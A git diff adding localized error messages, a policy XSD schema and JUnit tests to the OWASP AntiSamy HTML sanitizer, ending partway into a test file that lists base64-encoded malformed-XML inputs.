+error.css.tag.property.invalid=O {0} etiqueta contido um atributo de estilo, \"{1}\", que n�o podia ser permitido para raz�es de seguran�a.
diff --git a/src/main/resources/AntiSamy_ru_RU.properties b/src/main/resources/AntiSamy_ru_RU.properties
new file mode 100644
index 0000000..8bfc706
--- /dev/null
+++ b/src/main/resources/AntiSamy_ru_RU.properties
@@ -0,0 +1,37 @@
+# General
+error.size.toolarge=Объём введенной информации слишком велик. Максимально допустимый объём <em>(в байтах)</em> — {1}, вы ввели — {0}.
+error.comment.removed=Комментарий удалён из соображений безопасности. Содержимое комментария — «{0}»
+
+# Tag related
+error.tag.notfound=Тэг <code>{0}</code> отфильтрован из соображений безопасности. Содержимое тэга не затронуто.
+error.tag.removed=Тэг <code>{0}</code> удалён из соображений безопасности.
+error.tag.filtered=Тэг <code>{0}</code> отфильтрован из соображений безопасности. Содержимое тэга не затронуто.
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=Тэг {0} Tag был пуст, и поэтому мы не можем обработать. Остальная часть сообщения, не повреждена, и ее отмена не должны иметь каких-либо побочных эффектов.
+error.cdata.found=Раздел CDATA было обнаружено, что не допускается. Остальные сообщения не повреждена, и ее удаление не должно быть никаких побочных эффектов. Содержание CDATA был \"{0}\".
+error.pi.found=Инструкция обработки XML было обнаружено, что не допускается. Остальные сообщения не повреждена, и ее удаление не должно быть никаких побочных эффектов. Содержание инструкции было \"{0}\".
+
+# Attribute related
+error.attribute.notfound=Тэг <code>{0}</code> содержал неизвестный атрибут <code>{1}</code>. Атрибут отфильтрован, содержимое тэга не затронуто.
+error.attribute.invalid=Тэг <code>{0}</code> содержал недопустимый атрибут <code>{1}</code> со значением <code>{2}</code>. Атрибут удалён, содержимое тэга не затронуто.
+error.attribute.invalid.filtered=Тэг <code>{0}</code> содержал недопустимый атрибут <code>{1}</code> со значением <code>{2}</code>. Тэг отфильтрован, содержимое тэга не затронуто.
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed=Тэг <code>{0}</code> содержал недопустимый атрибут <code>{1}</code> со значением <code>{2}</code>. Тэг удалён.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=Импорт таблиц стилей запрещён.
+error.css.import.exceeded=Импорт таблицы стилей, расположенной по адресу <em>{0}</em>, невозможен, поскольку это приведёт к превышению максимально разрешённого количества таблиц стилей в документе — {1}
+error.css.import.failure=Таблица стилей, расположенная по адресу <em>{0}</em> недоступна. Таблица не была импортирована, содержание документа не затронуто.
+error.css.import.toolarge=Попытка импортировать таблицу стилей, расположенную по адресу <em>{0}</em> привела к превышению максимального разрешённого объёма вводимых данных. Максимальный разрёшенный объём вводимых данных <em>(в байтах)</em> — {1}
+error.css.import.url.invalid=Адрес таблицы стилей <em>{0}</em> не может быть принят из соображений безопасности.
+error.css.stylesheet.relative=Таблица стилей не может быть импортирована, поскольку для её вызова используется относительная ссылка <em>{0}</em>.
+error.css.tag.relative=Тэг <code>{0}</code> содержит атрибут стиля, в котором указана относительная ссылка <em>{1}</em>. Такая ссылка не может быть получена.
+error.css.stylesheet.rule.notfound=Таблица стилей содержала неизвестное правило <code>{0}</code>. Правило удалено из соображений безопасности.
+error.css.tag.rule.notfound=Тэг <code>{0}</code> содержал неизвестное правило <code>{1}</code>. Правило удалено из соображений безопасности.
+error.css.stylesheet.selector.notfound=Таблица стилей содержала неизвестный селектор <code>{0}</code>. Селектор удалён из соображений безопасности.
+error.css.tag.selector.notfound=Тэг <code>{0}</code> содержал атрибут стиля с неизвестным селектором <code>{1}</code>. Селектор удалён из соображений безопасности.
+error.css.stylesheet.selector.disallowed=Таблица стилей содержала недопустимый селектор <code>{0}</code>. Селектор удалён из соображений безопасности.
+error.css.tag.selector.disallowed=Тэг <code>{0}</code> содержал атрибут стиля с недопустимым селектором <code>{1}</code>. Селектор удалён из соображений безопасности.
+error.css.stylesheet.property.invalid=Таблица стилей содержала недопустимое свойство <code>{0}</code>. Свойство удалено из соображений безопасности.
+error.css.tag.property.invalid=Тэг <code>{0}</code> содержал недопустимый атрибут стиля <code>{1}</code>. Атрибут удалён из соображений безопасности.
diff --git a/src/main/resources/AntiSamy_zh_CN.properties b/src/main/resources/AntiSamy_zh_CN.properties
new file mode 100644
index 0000000..9776d4f
--- /dev/null
+++ b/src/main/resources/AntiSamy_zh_CN.properties
@@ -0,0 +1,42 @@
+# General
+error.size.toolarge=输入太大。实际的输入为{0}字节。允许的最大输入为{1}字节。
+error.comment.removed=出于安全的原因,注释域已被过滤。注释域的值为{0}
+
+# Tag related
+error.tag.notfound=出于安全的原因,标记{0}已被过滤。标记的内容保存不变。
+error.tag.removed=出于安全的原因,标记{0}不被允许。此标记不应该影响输入的显示。
+error.tag.filtered=出于安全的原因,标记{0}已被过滤。标记的内容保存不变。
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=在{0}的标签是空的,因此我们无法处理它。该邮件的其余部分是完整的,其搬迁应该没有任何副作用。
+error.cdata.found=一个CDATA部分被发现,这是不允许的。该邮件的其余部分是完整的,其搬迁不应该有任何副作用。在CDATA的内容是 \"{0}\"。
+error.pi.found=XML处理指令被发现,这是不允许的。消息的其余部分是完整的,其搬迁应该不会有任何副作用。该指令的内容为 \"{0}\"。
+
+# Attribute related
+error.attribute.notfound=标记{0}包含一个没法处理的属性。属性{1}已被过滤,但标记保存不变。
+error.attribute.invalid=标记{0}包含一个没法处理的属性。属性{1}包含一个值\"{2}\"。出于安全的原因,这个值没法被接受。为了处理这个输入,这个属性已被从这个标记中去掉,标记其他部分保持不变。
+error.attribute.invalid.filtered=标记{0}包含一个没法处理的属。属性{1}包含一个值\"{2}\"。出于安全的原因,这个值没法被接受。为了进一步处理这个输入,标记{0}已被过滤。
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed=标记{0}包含一个没法处理的属性。属性{1}包含一个值\"{2}\"。出于安全的原因,这个值没法被接受。为了进一步处理这个输入,整个标记{0}已被去掉。
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=样式表的导入还没有被激活。
+error.css.import.exceeded=位于{0}的样式表超过允许导入的样式表的总数,因此该样式表没有被读取。允许导入的样式表的最大数目为{1}。
+error.css.import.failure=输入中含有的远程样式表位于{0},此样式表没法被读取。网站可能关闭或者主机没法被访问。这不应该影响输入的格式。
+error.css.import.toolarge=位于{0}的样式表使得总输入太大,因此没有被导入。允许的最大输入为{1}字节。
+error.css.import.url.invalid=出于安全的原因,用于导入样式表的url没法被接受。此url是{1}。
+
+error.css.stylesheet.relative=样式表引用了一个没法读取的相对样式表\"{0}\"。
+error.css.tag.relative=标记{0}中的一个样式属性指定了一个没法读取的相对样式表应用\"{0}\"。
+
+error.css.stylesheet.rule.notfound=样式表使用了一个不被支持的规则\"{0}\"。出于安全的原因,此规则已被去掉。
+error.css.tag.rule.notfound=标记{0}中的一个样式属性使用了一个不被支持的规则\"{0}\"。出于安全的原因,此规则已被去掉。
+
+error.css.stylesheet.selector.notfound=样式表使用了一个没法处理的选择器\"{0}\"。出于安全的原因,此选择器已被去掉。
+error.css.tag.selector.notfound=标记{0}中的一个样式属性使用了一个没法处理的选择器\"{0}\"。出于安全的原因,此规则已被去掉。
+
+error.css.stylesheet.selector.disallowed=样式表使用了一个选择器\"{0}\"。出于安全的原因,此选择器不被允许。
+error.css.tag.selector.disallowed=标记{0}中的一个样式属性使用了一个选择器\"{1}\"。出于安全的原因,此选择器不被允许。
+
+error.css.stylesheet.property.invalid=样式表含有一个属(property)\"{0}\"。出于安全的原因,此属性不被允许。
+error.css.tag.property.invalid=标记{0}中含有一个样式属性\"{1}\"。出于安全的原因,此属性不被允许。
diff --git a/src/main/resources/antisamy.xsd b/src/main/resources/antisamy.xsd
new file mode 100644
index 0000000..95a3bb2
--- /dev/null
+++ b/src/main/resources/antisamy.xsd
@@ -0,0 +1,152 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsd:schema
+ xmlns:xsd="http://www.w3.org/2001/XMLSchema">
+
+ <xsd:element name="anti-samy-rules">
+
+ <xsd:complexType>
+
+ <xsd:sequence>
+ <xsd:element name="directives" type="Directives" maxOccurs="1" minOccurs="1"/>
+ <xsd:element name="common-regexps" type="CommonRegexps" maxOccurs="1" minOccurs="1"/>
+ <xsd:element name="common-attributes" type="AttributeList" maxOccurs="1" minOccurs="1"/>
+ <xsd:element name="global-tag-attributes" type="AttributeList" maxOccurs="1" minOccurs="1"/>
+ <xsd:element name="tags-to-encode" type="TagsToEncodeList" minOccurs="0" maxOccurs="1"/>
+ <xsd:element name="tag-rules" type="TagRules" minOccurs="1" maxOccurs="1"/>
+ <xsd:element name="css-rules" type="CSSRules" minOccurs="1" maxOccurs="1"/>
+ <xsd:element name="allowed-empty-tags" type="AllowedEmptyTags" minOccurs="0" maxOccurs="1"/>
+
+ </xsd:sequence>
+
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:complexType name="Directives">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="directive" type="Directive" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="Directive">
+
+ <xsd:attribute name="name" use="required"/>
+ <xsd:attribute name="value" use="required"/>
+
+ </xsd:complexType>
+
+ <xsd:complexType name="CommonRegexps">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="regexp" type="RegExp" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="AttributeList">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="attribute" type="Attribute" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="TagsToEncodeList">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="tag" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="TagRules">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="tag" type="Tag" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="Tag">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="attribute" type="Attribute" minOccurs="0" />
+ </xsd:sequence>
+
+ <xsd:attribute name="name" use="required"/>
+ <xsd:attribute name="action" use="required"/>
+
+ </xsd:complexType>
+
+ <xsd:complexType name="AllowedEmptyTags">
+ <xsd:sequence>
+ <xsd:element name="literal-list" type="LiteralList" minOccurs="1"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="Attribute">
+ <xsd:sequence>
+ <xsd:element name="regexp-list" type="RegexpList" minOccurs="0"/>
+ <xsd:element name="literal-list" type="LiteralList" minOccurs="0"/>
+ </xsd:sequence>
+ <xsd:attribute name="name" use="required"/>
+ <xsd:attribute name="description"/>
+ <xsd:attribute name="onInvalid"/>
+ </xsd:complexType>
+
+
+ <xsd:complexType name="RegexpList">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="regexp" type="RegExp" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="RegExp">
+ <xsd:attribute name="name" type="xsd:string"/>
+ <xsd:attribute name="value" type="xsd:string"/>
+ </xsd:complexType>
+
+ <xsd:complexType name="LiteralList">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="literal" type="Literal" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="Literal">
+ <xsd:attribute name="value" type="xsd:string"/>
+ </xsd:complexType>
+
+ <xsd:complexType name="CSSRules">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="property" type="Property" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="Property">
+ <xsd:sequence>
+ <xsd:element name="category-list" type="CategoryList" minOccurs="0"/>
+ <xsd:element name="literal-list" type="LiteralList" minOccurs="0"/>
+ <xsd:element name="regexp-list" type="RegexpList" minOccurs="0"/>
+ <xsd:element name="shorthand-list" type="ShorthandList" minOccurs="0"/>
+ </xsd:sequence>
+ <xsd:attribute name="name" type="xsd:string" use="required"/>
+ <xsd:attribute name="default" type="xsd:string"/>
+ <xsd:attribute name="description" type="xsd:string"/>
+ </xsd:complexType>
+
+
+ <xsd:complexType name="ShorthandList">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="shorthand" type="Shorthand" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="Shorthand">
+ <xsd:attribute name="name" type="xsd:string" use="required"/>
+ </xsd:complexType>
+
+ <xsd:complexType name="CategoryList">
+ <xsd:sequence maxOccurs="unbounded">
+ <xsd:element name="category" type="Category" minOccurs="0"/>
+ </xsd:sequence>
+ </xsd:complexType>
+
+ <xsd:complexType name="Category">
+ <xsd:attribute name="value" type="xsd:string" use="required"/>
+ </xsd:complexType>
+
+
+ <xsd:complexType name="Entity">
+ <xsd:attribute name="name" type="xsd:string" use="required"/>
+ <xsd:attribute name="cdata" type="xsd:string" use="required"/>
+ </xsd:complexType>
+</xsd:schema>
diff --git a/src/test/java/org/owasp/validator/html/TagMatcherTest.java b/src/test/java/org/owasp/validator/html/TagMatcherTest.java
new file mode 100644
index 0000000..9d42577
--- /dev/null
+++ b/src/test/java/org/owasp/validator/html/TagMatcherTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (c) 2013, Kristian Rosenvold
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.html;
+
+import org.junit.Test;
+
+import java.util.Arrays;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+/**
+ * @author Kristian Rosenvold
+ */
+public class TagMatcherTest {
+
+ @Test
+ public void testMatchesIgnoreCase() throws Exception {
+ TagMatcher matcher = new TagMatcher(Arrays.asList("abc", "cde", "efg"));
+ assertTrue( matcher.matches("AbC"));
+ assertTrue( matcher.matches("eFG"));
+ assertFalse(matcher.matches("XY"));
+
+ }
+}
diff --git a/src/test/java/org/owasp/validator/html/model/TagTest.java b/src/test/java/org/owasp/validator/html/model/TagTest.java
new file mode 100644
index 0000000..f378b69
--- /dev/null
+++ b/src/test/java/org/owasp/validator/html/model/TagTest.java
@@ -0,0 +1,38 @@
+package org.owasp.validator.html.model;
+
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * @author Kristian Rosenvold
+ */
+public class TagTest {
+ Attribute attribute1 = new Attribute("foo", Arrays.asList(Pattern.compile("abc")), Arrays.asList("v1"), "valid", "desc1");
+ Attribute attribute2 = new Attribute("goo", Arrays.asList(Pattern.compile("bbc")), Arrays.asList("vb1"), "bvalid", "bdesc1");
+
+ @Test
+ public void testSimpleRegularExpression() throws Exception {
+ Map<String, Attribute> attrs = new HashMap<String, Attribute>();
+ attrs.put("a1", attribute1);
+ Tag tag = new Tag("foo", attrs, "fud");
+ assertEquals("<(\\s)*foo(\\s)*(foo(\\s)*=(\\s)*\"(v1|abc)\"(\\s)*)*(\\s)*>", tag.getRegularExpression());
+
+ }
+
+ @Test
+ public void testGetRegularExpression() throws Exception {
+ Map<String, Attribute> attrs = new HashMap<String, Attribute>();
+ attrs.put("a1", attribute1);
+ attrs.put("a2", attribute2);
+ Tag tag = new Tag("foo", attrs, "fud");
+ assertEquals("<(\\s)*foo(\\s)*(foo(\\s)*=(\\s)*\"(v1|abc)\"(\\s)*|goo(\\s)*=(\\s)*\"(vb1|bbc)\"(\\s)*)*(\\s)*>",
+ tag.getRegularExpression());
+
+ }
+}
diff --git a/src/test/java/org/owasp/validator/html/test/AntiSamyPerformanceTest.java b/src/test/java/org/owasp/validator/html/test/AntiSamyPerformanceTest.java
new file mode 100644
index 0000000..7f37af0
--- /dev/null
+++ b/src/test/java/org/owasp/validator/html/test/AntiSamyPerformanceTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ * 1
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.test;
+
+import org.junit.Before;
+import org.owasp.validator.html.AntiSamy;
+import org.owasp.validator.html.PolicyException;
+import org.owasp.validator.html.ScanException;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.net.URLConnection;
+
+/**
+ * This class tests AntiSamy functionality and the basic policy file which
+ * should be immune to XSS and CSS phishing attacks.
+ *
+ * @author Arshan Dabirsiaghi
+ * @author Kristian Rosenvold
+ */
+
+public class AntiSamyPerformanceTest {
+
+
+ private AntiSamy as = new AntiSamy();
+ private TestPolicy policy = null;
+
+
+ @Before
+ public void setUp() throws Exception {
+
+ /*
+ * Load the policy. You may have to change the path to find the Policy
+ * file for your environment.
+ */
+
+ //get Policy instance from a URL.
+ URL url = getClass().getResource("/antisamy.xml");
+ policy = TestPolicy.getInstance(url);
+ }
+
+
+ @org.junit.Test
+ public void compareSpeedsLargeFiles() throws IOException, ScanException, PolicyException {
+
+ URL[] urls = {
+ this.getClass().getResource("/s/slashdot.org.htm"),
+ this.getClass().getResource("/s/fark.com"),
+ this.getClass().getResource("/s/cnn.com"),
+ this.getClass().getResource("/s/google.com.html"),
+ this.getClass().getResource("/s/microsoft.com"),
+ };
+
+ double totalDomTime = 0;
+ double totalSaxTime = 0;
+
+ int testReps = 15;
+
+ for (URL url : urls) {
+ URLConnection conn = url.openConnection();
+ InputStreamReader in = new InputStreamReader(conn.getInputStream());
+ StringBuilder out = new StringBuilder();
+ char[] buffer = new char[5000];
+ int read;
+ do {
+ read = in.read(buffer, 0, buffer.length);
+ if (read > 0) {
+ out.append(buffer, 0, read);
+ }
+ } while (read >= 0);
+
+ in.close();
+
+ String html = out.toString();
+
+ System.out.println("About to scan: " + url + " size: " + html.length());
+ if (html.length() > policy.determineMaxInputSize()) {
+ System.out.println(" -Maximum input size exceeded. SKIPPING.");
+ continue;
+ }
+
+ double domTime = 0;
+ double saxTime = 0;
+
+ for (int j = 0; j < testReps; j++) {
+ domTime += as.scan(html, policy, AntiSamy.DOM).getScanTime();
+ saxTime += as.scan(html, policy, AntiSamy.SAX).getScanTime();
+ }
+
+ domTime = domTime / testReps;
+ saxTime = saxTime / testReps;
+
+ totalDomTime += domTime;
+ totalSaxTime += saxTime;
+ }
+
+ System.out.println("Total DOM time: " + totalDomTime);
+ System.out.println("Total SAX time: " + totalSaxTime);
+ }
+}
\ No newline at end of file
diff --git a/src/test/java/org/owasp/validator/html/test/AntiSamyTest.java b/src/test/java/org/owasp/validator/html/test/AntiSamyTest.java
new file mode 100644
index 0000000..e5ea5c9
--- /dev/null
+++ b/src/test/java/org/owasp/validator/html/test/AntiSamyTest.java
@@ -0,0 +1,1260 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ * 1
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.test;
+
+import org.apache.commons.codec.binary.Base64;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.owasp.validator.html.*;
+import org.owasp.validator.html.model.Attribute;
+import org.owasp.validator.html.model.Tag;
+
+import java.io.IOException;
+import java.net.URL;
+import java.util.Collections;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+
+/**
+ * This class tests AntiSamy functionality and the basic policy file which
+ * should be immune to XSS and CSS phishing attacks.
+ *
+ * @author Arshan Dabirsiaghi
+ */
+
+public class AntiSamyTest {
+
+ private static final String[] BASE64_BAD_XML_STRINGS = new String[]{
+ // first string is
+ // "<a - href=\"http://www.owasp.org\">click here</a>"
+ "PGEgLSBocmVmPSJodHRwOi8vd3d3Lm93YXNwLm9yZyI+Y2xpY2sgaGVyZTwvYT4=",
+ // the rest are randomly generated 300 byte sequences which generate
+ // parser errors, turned into Strings
+ "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",
